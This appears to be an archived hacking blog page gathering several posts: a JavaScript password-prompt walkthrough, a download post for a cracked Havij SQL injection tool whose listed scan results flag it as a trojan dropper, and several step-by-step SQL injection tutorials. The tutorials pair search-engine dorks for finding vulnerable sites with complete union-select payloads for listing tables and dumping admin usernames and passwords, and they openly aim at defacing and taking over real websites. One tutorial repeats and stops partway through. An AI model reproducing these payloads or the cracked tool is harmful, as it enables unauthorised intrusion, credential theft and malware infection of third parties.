Infolink

Showing posts with label SQL injection. Show all posts
Showing posts with label SQL injection. Show all posts

Saturday, March 12, 2011

Learn Basic JavaScript Hacking: How to Hack with Java Script

Basic JavaScript hacking

LEVEL 1
You must first obtain the "source code": Set the security of Internet Explorer to high, click on the link to level 1 at the very top of the menu bar, Internet Explorer, the File, Edit, View, etc. Press the "View", "Source".This will take it up a Notepad window. Look for:

passwort=prompt("Please enter password!","") passwort = prompt ( "Please enter password !","")

This ensures a prompt box you can write in, that you enter as a password is stored in the variable "passwort".

if (passwort=="easy") if (passwort == "easy")

This checks on "passwort" (what you type) is "easy", the password for level 1 is when the "easy".

Set back security to medium and click on the link to the Level 1and type "easy".

Use the same procedure to obtain the "source code".

LEVEL 2
Once you have retrieved the Notepad window, there will be a lot of code. Just scroll further down, find this:

var m1, i; was m1, i;
m1="JavaScript"; m1 = "JavaScript";
value=prompt("Please enter password!",""); value = prompt ( "Please enter password !","");
if (value==m1) { if (value == m1) (
window.location=value+".htm"; window.location = value + ". htm";
i=4; i = 4;


What you type being stored in the variable "value",

if (value==m1) if (value == m1)

"m1" is a variable that contains a value. See further up:

m1="JavaScript " m1 = "JavaScript"
The password is "JavaScript". 

Thursday, February 24, 2011

Havij SQL Tools free crack> { FULL VERSION}



Description:

Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page.

It can take advantage of a vulnerable web application. By using this software user can perform back-end database fingerprint, retrieve DBMS users and password hashes, dump tables and columns, fetching data from the database, running SQL statements and even accessing the underlying file system and executing commands on the operating system.

The power of Havij that makes it different from similar tools is its injection methods. The success rate is more than 95% at injectiong vulnerable targets using Havij.

The user friendly GUI (Graphical User Interface) of Havij and automated settings and detections makes it easy to use for everyone even amateur users.



What's New?

* Oracle error based database added with ability to execute query.
* Getting tables and column when database name is unknown added (mysql)
* Another method added for finding columns count and string column in PostgreSQL
* Automatic keyword finder optimized and some bugs fixed.
* A bug in finding valid string column in mysql fixed.
* 'Key is not unique' bug fixed
* Getting data starts from row 2 when All in One fails - bug fixed
* Run time error when finding keyword fixed.
* False table finding in access fixed.
* keyword correction method made better
* A bug in getting current data base in mssql fixed.
* A secondary method added when input value doesn't return a normal page (usually 404 not found)
* Data extraction bug in html-encoded pages fixed.
* String or integer type detection made better.
* A bug in https injection fixed.



Use at your own risk...


Antivirus results
AhnLab-V3 - 2010.12.26.01 - 2010.12.26 - Malware/Win32.Generic
AntiVir - 7.11.0.177 - 2010.12.25 - TR/Dropper.Gen
Antiy-AVL - 2.0.3.7 - 2010.12.26 - -
Avast - 4.8.1351.0 - 2010.12.26 - Win32:Malware-gen
Avast5 - 5.0.677.0 - 2010.12.26 - Win32:Malware-gen
AVG - 9.0.0.851 - 2010.12.26 - Dropper.Generic2.CHUA
BitDefender - 7.2 - 2010.12.26 - Gen:Trojan.Heur.VP.nB0@a4vB0aiO
CAT-QuickHeal - 11.00 - 2010.12.25 - -
ClamAV - 0.96.4.0 - 2010.12.26 - -
Command - 5.2.11.5 - 2010.12.26 - -
Comodo - 7196 - 2010.12.26 - UnclassifiedMalware
DrWeb - 5.0.2.03300 - 2010.12.26 - -
Emsisoft - 5.1.0.1 - 2010.12.26 - Gen.Trojan.Heur!IK
eSafe - 7.0.17.0 - 2010.12.26 - Win32.TRDropper
eTrust-Vet - 36.1.8060 - 2010.12.24 - -
F-Prot - 4.6.2.117 - 2010.12.26 - -
F-Secure - 9.0.16160.0 - 2010.12.26 - Gen:Trojan.Heur.VP.nB0@a4vB0aiO
Fortinet - 4.2.254.0 - 2010.12.26 - -
GData - 21 - 2010.12.26 - Gen:Trojan.Heur.VP.nB0@a4vB0aiO
Ikarus - T3.1.1.90.0 - 2010.12.26 - Gen.Trojan.Heur
Jiangmin - 13.0.900 - 2010.12.26 - -
K7AntiVirus - 9.74.3335 - 2010.12.24 - -
Kaspersky - 7.0.0.125 - 2010.12.26 - -
McAfee - 5.400.0.1158 - 2010.12.26 - -
McAfee-GW-Edition - 2010.1C - 2010.12.26 - -
Microsoft - 1.6402 - 2010.12.26 - -
NOD32 - 5733 - 2010.12.26 - -
Norman - 6.06.12 - 2010.12.24 - W32/Suspicious_Gen.NHVV
nProtect - 2010-12-26.01 - 2010.12.26 - -
Panda - 10.0.2.7 - 2010.12.26 - Suspicious file
PCTools - 7.0.3.5 - 2010.12.26 - -
Prevx - 3.0 - 2010.12.26 - -
Rising - 22.79.05.01 - 2010.12.26 - Trojan.Win32.Generic.5252FB06
Sophos - 4.60.0 - 2010.12.26 - -
SUPERAntiSpyware - 4.40.0.1006 - 2010.12.25 - -
Symantec - 20101.3.0.103 - 2010.12.26 - -
TheHacker - 6.7.0.1.105 - 2010.12.25 - -
TrendMicro - 9.120.0.1004 - 2010.12.26 - -
TrendMicro-HouseCall - 9.120.0.1004 - 2010.12.26 - -
VBA32 - 3.12.14.2 - 2010.12.24 - -
VIPRE - 7832 - 2010.12.26 - -
ViRobot - 2010.12.25.4220 - 2010.12.26 - -

File info:
MD5: 4d3dcd460e1da3d04928b797ba533735
SHA1: dc01158b7bcf4045f1b6ee0f2828fb1fe1a0fdbb
SHA256: 4cb8247982ef22b86558a4ee313e38517f96aadb93caae59c50031715d5e8d66
File size: 3358720 bytes
Scan date: 2010-12-26 15:43:03 (UTC)


Download:


Code:
http://www.megaupload.com/?d=AYRVXZZR

Thursday, February 17, 2011

Havij Tutorial.

Download havij 1.10


First Find a sqli infected site .Now here i found a vulernable site

Now Let's start

Open havij and copy and paste infected link as shown in figure
Now click in the "Analyze"
Then It shows some messages there....Be alert on it and be show patience for sometime to find it's vulernable and type of injection and if db server is mysql and it will find database name.Then after get it's database is name like xxxx_xxxx

Then Move to another operation to find tables by clicking "tables" as figure shown.Now click "Get tables" Then wait some time if needed

After founded the tables ,you can see there will be "users" Put mark on it and click in the " get columns " tab as shown in figure
In that Just put mark username and password and click "Get data"

Bingo Got now id and pass that may be admin...
The pass will get as md5 you can crack it also using this tool as shown in figure...



 

.........................................................................................................................................B......................
.........................................................................................................................................

Friday, February 4, 2011

Great Tutorial for Hacking Websites with SQL injection.

Contents
1A: Understanding SQL Injection
1B: Tricks & Tools
1C: Requirements
------
2A: Searching for Targets
2B: Testing Targets for Vulnerabilities
2C: Finding Columns
2D: Finding Vulnerable Columns
------
3A: Obtaining the SQL version
3B: Version 4
- 1. Obtaining Tables & Columns
- 2. Commands
3C: Version 5
- 1. Obtaining Table Names
- 2. Obtaining Column Names from Tables

------------------------------------------------------------------------
1A: Understanding SQL Injection
SQL Injection is one of todays most powerful methods of system penetration, using error

based queries one is able to extract data (tables & columns) from a vulnerable system,

namely the (database).

1B: Tricks & Tips
Beginners tend to believe that using tools created by advanced SQL injection artists are the

best way around things, please believe that they aren't, everything seems nice and easy with

tools such as (BSQLi and SQLi Helper) which they are, but the users posting the download

links for both applications around the world on hacking forums have been known to very

securely encrypt these tools with malicious files or backdoors etc, I've experienced this

first hand when I first started out. Learning everything manually will help you understand

the environment you are attempting to penetrate, whilst experimenting with commands you have

learnt will only help you become more advanced in SQL injection, as for tricks, there are

many articles named (Cheat Sheets) because this is what they are, purposely created for SQL

injectors to use commands which aren't normally spoken of or known about, Samples are

provided to allow the reader to get basic idea of a potential attack.

1C: Requirements:
When I first started SQL injection personally for me it wasn't to hard to get on the ball

and learn quickly, this is because I had previous knowledge of web-scripts, how the internet

works, and the ability to read and understand complicated tutorials. I believe it's a whole

lot easier if you know the basics of a computer system and how the internet works.
To learn you must be able to read and understand the tutorial or article provided and take

on board everything you see. When I was a beginner I found it easier to attack whilst

reading, do everything in stages, don't read the whole tutorial and go off and expect to

inject off the top of your head.

------------------------------------------------------------------------
2A Searching for Targets
Ahh, the beauty of searching for targets is a lot easier than it sounds, the most common

method of searching is (Dorks). Dorks are an input query into a search engine (Google) which

attempt to find websites with the given texxt provided in the dork itself. So navigate to

Google and copy the following into the search box:
inurl:"products.php?prodID="
This search will return websites affiliated with Google with "products.php?prodID=" within

the URL.
You can find a wide range of dorks to use by searching the forum.
I advise you to create your own dorks, be original, but at the same time unique, think of

something to use that not many people would have already searched and tested.
An example of a dork I would make up:
inurl:"/shop/index.php?item_id=" & ".co.uk"
So using your own dorks isn't a bad thing at all, sometimes your dorks wont work, nevermind

even I get it..

------------------------------------------------------------------------
2B: Testing Targets for Vulnerabilities
It's important that this part's done well. I'll explain this as simply as I can.
After opening a URL found in one of your dork results on Google you now need to test the

site if it's vulnerable to SQL injection.

Example:
http://www.site.com/index.php?Client_id=23

To test, just simply add an asterik ' at the end of the URL

Example:
http://www.site.com/index.php?Client_id=23'

How to tell if the sites vulnerable:
- Missing text, images, spaces or scripts from the original page.
- Any kind of typical SQL error (fetch_array) etc.

So if the website you're testing produces any of the above then the site is unfortunately

vulnerable, which is where the fun starts.

------------------------------------------------------------------------
2C: Finding Columns & the Vulnerable Columns
As I noted in the first section of the tutorial I advise you do pretty much everything

manually with SQL injection, so by using the following commands (providing they're followed

correctly) you will begin to see results in no time :D

Example:
http://www.site.com/index.php?Client_id=23'
^^^^^^^^^^^^^^^^^^^^^^^^
IF THE SITE IS VULNERABLE
Refer to the following to checking how many columns there are.
(order+by) the order by function tells the database to order columns by an integer (digit

e.g. 1 or 2), no errors returned means the column is there, if there's an error returned the

column isnt there

wxw.site.com/index.php?Client_id=23+order+by+1 < No Error
wxw.site.com/index.php?Client_id=23+order+by+2 < No Error
wxw.site.com/index.php?Client_id=23+order+by+3 < No Error
wxw.site.com/index.php?Client_id=23+order+by+4 < ERROR

From using order+by+ command and incremating the number each time until the page

displays an error is the easiest method to find vulnerable columns, so from the examples

above when attempting to order the columns by 4 there's an error, and so column 4 doesn't

exist, so there's 3 columns.

------------------------------------------------------------------------
2D: Finding Vulnerable Columns
Ok so let's say we were working on the site I used above, which has 3 columns. We now need

to find out which of those three coluns are vulnerable. Vulnerable columns allow us to

submit commands and queries to the SQL database through the URL. (union+select)

Selects all columns provided in the URL and returns the value of the vulnerable column e.g.

2.

Example:
wxw.site.com/index.php?Client_id=23+union+select+1,2,3

The site should refresh, not with an error but with some content missing and a number is

displayed on the page, either 1, 2 or 3 (as we selected the three columns in the above URL

to test for column vulnerability).
Sometimes the page will return and look completely normal, which isn't a problem. Some sites

you are required to null the value you're injecting into.

In simpler terms, the =23 you see in the above URL after Client_id must be nulled in order

to return with the vulnerable column. So we simply put a hyphen (minus sign) before the 23

like so: -23
So the URL should now look something like this:

wxw.site.com/index.php?Client_id=-23+union+select+1,2,3

Now that should work, let's say the page refreshes and displays a 2 on the page, thus 2

being the vulnerable column for us to inject into.

------------------------------------------------------------------------
3A: Obtaining the SQL Verison
Easier said than done, using the information found in the above sections e.g. amount of

columns and the vulnerable column. We now use a command (@@version) and in some cases

a series of commands to determine what the SQL version is on the current site. Version 4 or

version 5. See the example below to view what a URL should look like when the version

command has been inserted into the URL replacing the number 2 as 2 is the vulnerable column

on the example site.

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,@@version,3

What you need to look for is a series of numbers e.g:
5.0.89-community
4.0.45-log

If the above failes and the site just returns an error or displays normally then we need to

use the convert function in order for the server to understand the command, don't worry

though this is usually the only thing you need to convert and it's on a rare occasion where

this is the case.

So, if the example site returned an error we need to replace @@version with the convert()

function:
convert(@@version using latin1)

So the example site will now look like this:
wxw.site.com/index.php?Client_id=-23+union+select+1,convert(@@version using latin1),3

Now if the page still decides to not return the error then the query must be hexxed:
unhex(hex(@@version))

So the example site will now look like this:
wxw.site.com/index.php?Client_id=-23+union+select+1,unhex(hex(@@version)),3

Depending on which version the SQL server it is, whether it be 4, or 5 the queries for

obtaining data from both versions are different, version 4 and 5 tables are explained below


------------------------------------------------------------------------
3B Version 4
- 1. Obtaining Tables and Columns


You will notice that obtaining tables and columns from version 4 MySQL servers is a little

more time consuming and confusing at times as we have to guess pretty much everyhing.

Because version 5 is more up to date and has information_schema which the database and

tables are stored in, MySQL version 4 doesn't.
Providing the MySQL version of the website is 4, we must do the following.

So, back to the example URL:
wxw.site.com/index.php?Client_id=23+union+select+1,@@version,3

We must now go back to the original URL which is:
wxw.site.com/index.php?Client_id=23+union+select+1,2,3

This is where the guessing begins, we need to guess table names.
How can we tell if the table name I guess exists?
The same as where we tested for the amount of columns.
If no error is produced then the table guessed exists.
Is there is an error then the table guessed doesn't exist, so just try another.
So we use the (from) command followed by the table name you are looking to see

exists.

Example:
wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from admin

Usual tables most people search for consist of obtaining user data, so again, be creative

just like with the dorks, common table names I use:

tbl_user, tbl_admin, tbl_access, user, users, member, members, admin, admins, customer,

customers, orders, phpbb_users, phpbb_admins

So if we tried the following as an example:

wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from admin
^^^
Error

wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from user
^^^
Error

wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from users
^^^^^
No Error

Now which table do you think exists..?
:D The table users exists

We are now required to guess column names from the existing table. So thinking logically,

which labelled columns within this table would represent data? Columns such as:
first_name, last_name, email, username, password, pass, user_id
^^^^^^^^^^^^^^^^^^^^^^^^^
Typical columns found in the users table.

So we now must think back to which column is vulnerable (in this case 2) and so we'll use

the URL and replace 2 with the column name you are attempting to see if exists in the users

table. Let's try a few of the typicals listed above:

wxw.site.com/index.php?Client_id=23+union+select+1,f_name,3 from users
^^^^
Error

wxw.site.com/index.php?Client_id=23+union+select+1,l_name,3 from users
^^^
Error

wxw.site.com/index.php?Client_id=23+union+select+1,address1,3 from users
^^^
Error

wxw.site.com/index.php?Client_id=23+union+select+1,email,3 from users
^^^^^
No Error

From the above we can clearly see that the column email exists within the table users, the

page should return displaying data (most probably an email address) or the data you are

extracting i.e if you pulled password from users and the column exists the first password

within that column will be displayed on screen.


2. Commands
From here we will be able to use certain commands to determine the amount of data we pull

from the database or which exact record you wish to pull from a column.

concat()

We will now use the concat() function to extract data from multiple columns if only one

column is vulnerable, in this case remembering back the vulnerable column is 2, so we can

only query in within this space.

Command: concat(columnname1,0x3a,columnname2)
0x3a is the hex value of a semi-colon : so the output data from the query will be displayed

like:this

Example:
wxw.site.com/index.php?Client_id=23+union+select+1,concat(email,0x3a,password),3 from users

The above will output the first email and password found in the table.

group_concat():

We will now use the group_concat() function to group all data from one column and display

them on one page. Same as the above concat() command just grouping all records together and

displaying them as one.

Example:
wxw.site.com/index.php?Client_id=23+union+select+1,group_concat(email,0x3a,pass),3 from

users

Now the above should return ALL e-mails and passwords listed in the email and passwords

column within the users table.

limit 0,1
The limit command is somewhat useful if you're looking for a specific data record. Say for

instance we wanted to obtain the 250th record for emails in the table users. We would use:

limit 250,1
Thus displaying the 250th e-mail within the data.

Example:
wxw.site.com/index.php?Client_id=23+union+select+1,email,3+from+users+limit+250,1

------------------------------------------------------------------------
Version 5
- 1. Obtaining Table Names


Now after that painstaking version 4 malakey lol, we're onto version 5, the easiest and

quickest version of MySQL to hack, so many things are already done for you, so realise the

possibilities and be imaginative.

Obtaining table names for version 5 MySQL servers is simple, using information_schema.tables

< For table extraction

So, example of the URL from earlier, but imagine it is now version 5

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,table_name,3+from+information_schema.tab

les

The above URL will display only the first table name which is listed in the database

information_schema. So using group_concat()just like in version 4 works with the same principle.

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(table_name),3 from

information_schema.tables

We should now be able to see all the tables listed on one page, sometimes the last tables

will be cut off the end because a portion of the page will be covered in table names from

information_schema which aren't useful for us so really, I usually prefer to display table

names from the primary database rather than information_schema, we can do the following by

using the +where+table_schema=database() command:
where => A query for selection
table_schema => Schema of tables from a database
database() => In context the primary database, just leave it as it is.


Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(table_name),3+from+informat

ion_schema.tables+where+table_schema=database()

Example List of tables:
About, Admin, Affiliates, Access, Customer, Users

Now all tables should be displayed from the primary database, take your pick and get ready

to extract columns.


2. Obtaining Column Names from Table Names

Ok, suggesting from the above we decided to obtain column information from the table Admin.
Using information_schema once again but this time we will be using:
informaiton_schema.columns
instead of
informtion_schema.tables (as we want to extract columns now, not tables)

The thing with obtaining column information is similar to the principle of obtaining columns in version 4, except we dont have to guess, once again just one command lists them all when combines with group_concat()

Command:
Edit the vulnerable column (in this case 2) to:
column_name instead of table_name

And the end of the URL to:
+from+information_schema.columns where table_name=TableNameHEX

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(column_name),3 from information_schema.columns where table_name=Admin

Now the above will return an error because of the way the command is used at the end of the URL (where table_name=Admin)
We must HEX the table name, in this case Admin
I use THIS website to for converting Text to Hex.

The HEX of Admin is: 41646d696e
Now we must add 0x (MySQL integer) at the front of the HEX, which should now look like this: 0x41646d696e
And pop it onto the end of the URL replacing Admin, so the URL should look something like the following.

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(column_name),3 from information_schema.columns where table_name=0x41646d696e

Now all columns from the table Admin will be displayed on the page, just the same as version 4 we will use the same command to extract data from certain columns within the table.

Say for instance the following columns were displayed:
username, password, id, admin_user

We would be able to do the same as version 4, replacing the vulnerable column (2) with a column name (one of the above) i.e. username and password using the concat() function.

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,concat(username,0x3a,password),3+from+Admin

Will display the first username and password data entries from the columns username and password in the table Admin.

You can still use group_concat() & limit 0,1
Exactly the same as version 4.

TOOLS for Hacking Website with SQL Injection.

1. SQLi Helper 2.7 by reiluke

Very useful tool. Just type vun website link and hit inject.
Download link:
Code:

2. darkMySQLi.py by rsauron from darkc0de.com

Download link:
Code:

To use this program, you will need python. Python download link:
Code:

How to use?

1. Install Python to C:\ (or other drive, wocares)
2. Unrar darkMySQLi.py to Python25 folder
3. Go to: Start --> Run --> cmd
4. In cmd type cd C:\Python25\
5. It looks like C:\Python25. Now type python darkMySQLi.py and hit enter.
6. You will see program notes in command line. Type "--help" and program will show you all options.

3. Admin login page finder by reiluke
[Image: adminfinder.th.jpg]
This program helps you to find admin login page. Remember, then you type website url, always add / on url end.
Download link:
Code:

4. Blind SQLi by reiluke

Helps to dump data when you using blind SQLi.
Download link:
Code:

5. Diamondhack vuln scanner

Scanning websites and shows vuns. Type dork, and wait a few minutes.
Download link:
Code:
http://www.2shared.com/file/6087022/39a77acb/DiamondhackVulnScanner.html

How to Hack Websites using SQL Injection? A DETAILED TUTORIAL.

SQL Injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks. (wikipedia definition)

What will I need to perform an SQL Injection attack?

[+] exploit scanner
[+] a good list of "google dorks"
[+] admin finder
[+] half a brain and the will to learn lol Tongue

I have provided all but 2 (in a .rar package available for download below) of the stated things above that you need. Also provided is a virus scan of the .rar for the skeptics lol

CLICK HERE TO DOWNLOAD THE TOOLS

Yes I know its 2/41. Its the exploit scanner. Its dectected as a Exploits/Riskware scanner. I myself use this same tool and no I'm not infected.
Code:
Antivirus      Version      Last Update      Result
a-squared    4.5.0.50    2010.01.18    -
AhnLab-V3    5.0.0.2    2010.01.18    -
AntiVir    7.9.1.142    2010.01.18    SPR/Tool.ExpScan
Antiy-AVL    2.0.3.7    2010.01.18    -
Authentium    5.2.0.5    2010.01.18    -
Avast    4.8.1351.0    2010.01.18    -
AVG    9.0.0.730    2010.01.18    -
BitDefender    7.2    2010.01.18    -
CAT-QuickHeal    10.00    2010.01.18    -
ClamAV    0.94.1    2010.01.18    -
Comodo    3625    2010.01.18    -
DrWeb    5.0.1.12222    2010.01.18    -
eSafe    7.0.17.0    2010.01.17    -
eTrust-Vet    35.2.7243    2010.01.18    -
F-Prot    4.5.1.85    2010.01.17    -
F-Secure    9.0.15370.0    2010.01.18    -
Fortinet    4.0.14.0    2010.01.18    -
GData    19    2010.01.18    -
Ikarus    T3.1.1.80.0    2010.01.18    -
Jiangmin    13.0.900    2010.01.18    -
K7AntiVirus    7.10.949    2010.01.16    -
Kaspersky    7.0.0.125    2010.01.18    -
McAfee    5864    2010.01.17    -
McAfee+Artemis    5864    2010.01.17    -
McAfee-GW-Edition    6.8.5    2010.01.18    Riskware.Tool.ExpScan
Microsoft    1.5302    2010.01.18    -
NOD32    4783    2010.01.18    -
Norman    6.04.03    2010.01.18    -
nProtect    2009.1.8.0    2010.01.18    -
Panda    10.0.2.2    2010.01.17    -
PCTools    7.0.3.5    2010.01.18    -
Prevx    3.0    2010.01.18    -
Rising    22.31.00.04    2010.01.18    -
Sophos    4.49.0    2010.01.18    -
Sunbelt    3.2.1858.2    2010.01.17    -
Symantec    20091.2.0.41    2010.01.18    -
TheHacker    6.5.0.6.154    2010.01.18    -
TrendMicro    9.120.0.1004    2010.01.18    -
VBA32    3.12.12.1    2010.01.17    -
ViRobot    2010.1.18.2142    2010.01.18    -
VirusBuster    5.0.21.0    2010.01.18    -

Ok after you are done downloading the tools. Open the .rar located on your desktop. Now open the .txt called "dorks'. From this list you can pick any dork you feel like scanning with. For good search results search for a dork like this.
Code:
index.php?id=

After you have chose a dork like above, copy it into your clipboard for further use. Now open your exploit scanner.exe. (scanner made by reiluke). At the top where it says "Dork" your going to want to paste your dork into the box.

Atfer you have done this your going to want to switch your "Max Url" from 100 to 1000 for alot of search results. Then press scan on your exploit scanner. After it is done scanning your going to press "Test Sites". After all this is done you should have two lists.


After it is done testing all scanned sites. These pre-tested sites might be sqli vulnerable. But you must first check each site individually. To test a individual site add a " ' " after the url. For example.
Code:
sqlivulnerablesite.com/index.php?id=1'

*NOTE* With this exploit scanner it auto-quotes all the urls.

Lets say for instance you found a site that might be vulnerable (or what you think maybe a vulnerable site). If a error on the web page comes up something like this.
Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Then its vulnerable to sql injection. The first step to this multi-step systematic attack on the sql databases is to found out the number of columns there is in the sql database. To found this out we use this code injection in the address bar after the website url. Like this.
Code:
sqlivulnerablesite.com/index.php?id=1 order by 1--

Load the page. If the page loads correctly with that code injection in the url then we are on the right track

Knowing that there is already 1 column in this database we do another code injection. Like this.
Code:
sqlivulnerablesite.com/index.php?id=1 order by 2--

If the page loads correctly again then this attack can still be performed.

Usually if the pages loads correctly after trying the #2 then I try stepping the number up to around 10.

*NOTE* If you load the web page on a code injection like this.
Code:
sqlivulnerablesite.com/index.php?id=1 order by 10--

and you get a result like this.
Code:
Unknown column '10' in 'order clause'

Then you must go down a number until you reach the number of columns that is in the database where it allows the web page to load correctly without any errors on the web page. For instance since the error on the web page said "unknown column '10'" we must go down to the number 9. Like this.
Code:
sqlivulnerablesite.com/index.php?id=1 order by 9--

If your page loads correctly then this means there is 9 columns in the database

The next step in this attack is to find out what column is vulnerable to our attack. We use this code injection in your address bar after the vulnerable site. Like this.
Code:
sqlivulnerablesite.com/index.php?id=1 union all select 1,2,3,4,5,6,7,8,9--

After you have loaded the page it should show which columns are vulnerable. Usually shows about 2-3 columns. I personally use the the lowest number that is vulnerable. For instance "2". Lets say the vulnerable column in the database is "2". The next code injection we use is to found out the version of the database. Like This.
Code:
sqlivulnerablesite.com/index.php?id=1 union all select 1,@@version,3,4,5,6,7,8,9

When the web page is loaded, where the number "2" was on the web page there should be in place of it the "database version". It is best if you a beginner to make sure the database version is 5.0 on higher like 5.0.17. Anything below 5.0 you are going to be required to brute force each of the tables for information. So now that we have the database version which is "5.0.17", we must now find the table names with this code injection at the top in your address bar.
Code:
sqlivulnerablesite.com/index.php?id=1 union all select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables--

After the page is loaded it should have all the table names on the web page. The table name that your going to want to find is admins. Once you have found admins or something that is similar to that, then we do another code injection to found out that columns which are in that table with this code.

Code:
sqlivulnerablesite.com/index.php?id=1 union all select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=char(x)--

*NOTE* Here (x) is the ascii value of the table name.

Now we must find the ascii value of the word admins.

GO HERE TO CONVERT TEXT TO ASCII

The ascii value of admins is
Code:
& #97 ; & #100 ; & #109 ; & #105 ; & #110; & #115 ;

Delete all the ";" , "#" , and "&". So it should look like this.
Code:
97,100,109,105,110,115

Now replace the the "x" with that ascii number code. Now your new code injection should look something like this. Enter it in your url address bar.
Code:
sqlivulnerablesite.com/index.php?id=1 union all select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=char(97,100,109,105,110,115)--

When the page loads you should get something like/similar to username and password on the web page. To get the data from that column you must use a code injection like this.
Code:
sqlivulnerablesite.com/index.php?id=1 union all select 1,concat(username),0x3a,(password),3,4,5,6,7,8,9 from --

*NOTE* (0x3a) is the ascii value of the column name

When the page loads it should show the data of the username and password for cpanel access.

Now to access the cpanel we must find the login page. I provided a admin finder.exe in the .rar. Open it up and type in the url of your vulnerable site. From there it scan till it finds the login page for admin cpanel access. Which can lead to defacement and web server compromise.

Hopefully someone found this thread useful/helpful. I take full credit in writing this tutorial out. PM me if you need any further help with your sql injections!

Tutorial By KraZi

Wednesday, January 5, 2011

How are Websites Hacked by SQL injection

Learn How To Hack Websites , Mysql Injection Tutorial
SQL Injection in MySQL Databases
SQL Injection attacks are code injections that exploit the database layer of the application. This is most commonly the MySQL database, but there are techniques to carry out this attack in other databases such as Oracle. In this tutorial i will be showing you the steps to carry out the attack on a MySQL Database.

Step  1:

When testing a website for SQL Injection vulnerabilities, you need to find a page that looks like this:
www.site.com/page=1

or
www.site.com/id=5


Basically the site needs to have an = then a number or a string, but most commonly a number. Once you have found a page like this, we test for vulnerability by simply entering a ' after the number in the url. For example:

www.site.com/page=1'
If the database is vulnerable, the page will spit out a MySQL error such as;

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/wwwprof/public_html/readnews.php on line 29

If the page loads as normal then the database is not vulnerable, and the website is not vulnerable to SQL Injection.



Step 2

Now we need to find the number of union columns in the database. We do this using the "order by" command. We do this by entering "order by 1--", "order by 2--" and so on until we receive a page error. For example:

www.site.com/page=1 order by 1--
http://www.site.com/page=1 order by 2--
http://www.site.com/page=1 order by 3--
http://www.site.com/page=1 order by 4--
http://www.site.com/page=1 order by 5--

If we receive another MySQL error here, then that means we have 4 columns. If the site errored on "order by 9" then we would have 8 columns. If this does not work, instead of -- after the number, change it with /*, as they are two difference prefixes and if one works the other tends not too. It just depends on the way the database is configured as to which prefix is used.

Step 3


We now are going to use the "union" command to find the vulnerable columns. So we enter after the url, union all select (number of columns)--,
for example:
www.site.com/page=1 union all select 1,2,3,4--

This is what we would enter if we have 4 columns. If you have 7 columns you would put,union all select 1,2,3,4,5,6,7-- If this is done successfully the page should show a couple of numbers somewhere on the page. For example, 2 and 3. This means columns 2 and 3 are vulnerable.

Step 4

We now need to find the database version, name and user. We do this by replacing the vulnerable column numbers with the following commands:
user()
database()
version()
or if these dont work try...
@@user
@@version
@@database


For example the url would look like:
www.site.com/page=1 union all select 1,user(),version(),4--

The resulting page would then show the database user and then the MySQL version. For example admin@localhost and MySQL 5.0.83.
IMPORTANT: If the version is 5 and above read on to carry out the attack, if it is 4 and below, you have to brute force or guess the table and column names, programs can be used to do this.

Step 5

In this step our aim is to list all the table names in the database. To do this we enter the following command after the url.
UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
So the url would look like:
www.site.com/page=1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables--

Remember the "table_name" goes in the vulnerable column number you found earlier. If this command is entered correctly, the page should show all the tables in the database, so look for tables that may contain useful information such as passwords, so look for admin tables or member or user tables.

Step 6
In this Step we want to list all the column names in the database, to do this we use the following command:

union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--

So the url would look like this:
www.site.com/page=1 union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
This command makes the page spit out ALL the column names in the database. So again, look for interesting names such as user,email and password.

Step 7

Finally we need to dump the data, so say we want to get the "username" and "password" fields, from table "admin" we would use the following command,
union all select 1,2,group_concat(username,0x3a,password),4 from admin--
So the url would look like this:
www.site.com/page=1 union all select 1,2,group_concat(username,0x3a,password),4 from admin--

Here the "concat" command matches up the username with the password so you dont have to guess, if this command is successful then you should be presented with a page full of usernames and passwords from the website

How are Websites Hacked by SQL injection

Learn How To Hack Websites , Mysql Injection Tutorial
SQL Injection in MySQL Databases
SQL Injection attacks are code injections that exploit the database layer of the application. This is most commonly the MySQL database, but there are techniques to carry out this attack in other databases such as Oracle. In this tutorial i will be showing you the steps to carry out the attack on a MySQL Database.

Step  1:

When testing a website for SQL Injection vulnerabilities, you need to find a page that looks like this:
www.site.com/page=1

or
www.site.com/id=5


Basically the site needs to have an = then a number or a string, but most commonly a number. Once you have found a page like this, we test for vulnerability by simply entering a ' after the number in the url. For example:

www.site.com/page=1'
If the database is vulnerable, the page will spit out a MySQL error such as;

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/wwwprof/public_html/readnews.php on line 29

If the page loads as normal then the database is not vulnerable, and the website is not vulnerable to SQL Injection.



Step 2

Now we need to find the number of union columns in the database. We do this using the "order by" command. We do this by entering "order by 1--", "order by 2--" and so on until we receive a page error. For example:

www.site.com/page=1 order by 1--
http://www.site.com/page=1 order by 2--
http://www.site.com/page=1 order by 3--
http://www.site.com/page=1 order by 4--
http://www.site.com/page=1 order by 5--

If we receive another MySQL error here, then that means we have 4 columns. If the site errored on "order by 9" then we would have 8 columns. If this does not work, instead of -- after the number, change it with /*, as they are two difference prefixes and if one works the other tends not too. It just depends on the way the database is configured as to which prefix is used.

Step 3


We now are going to use the "union" command to find the vulnerable columns. So we enter after the url, union all select (number of columns)--,
for example:
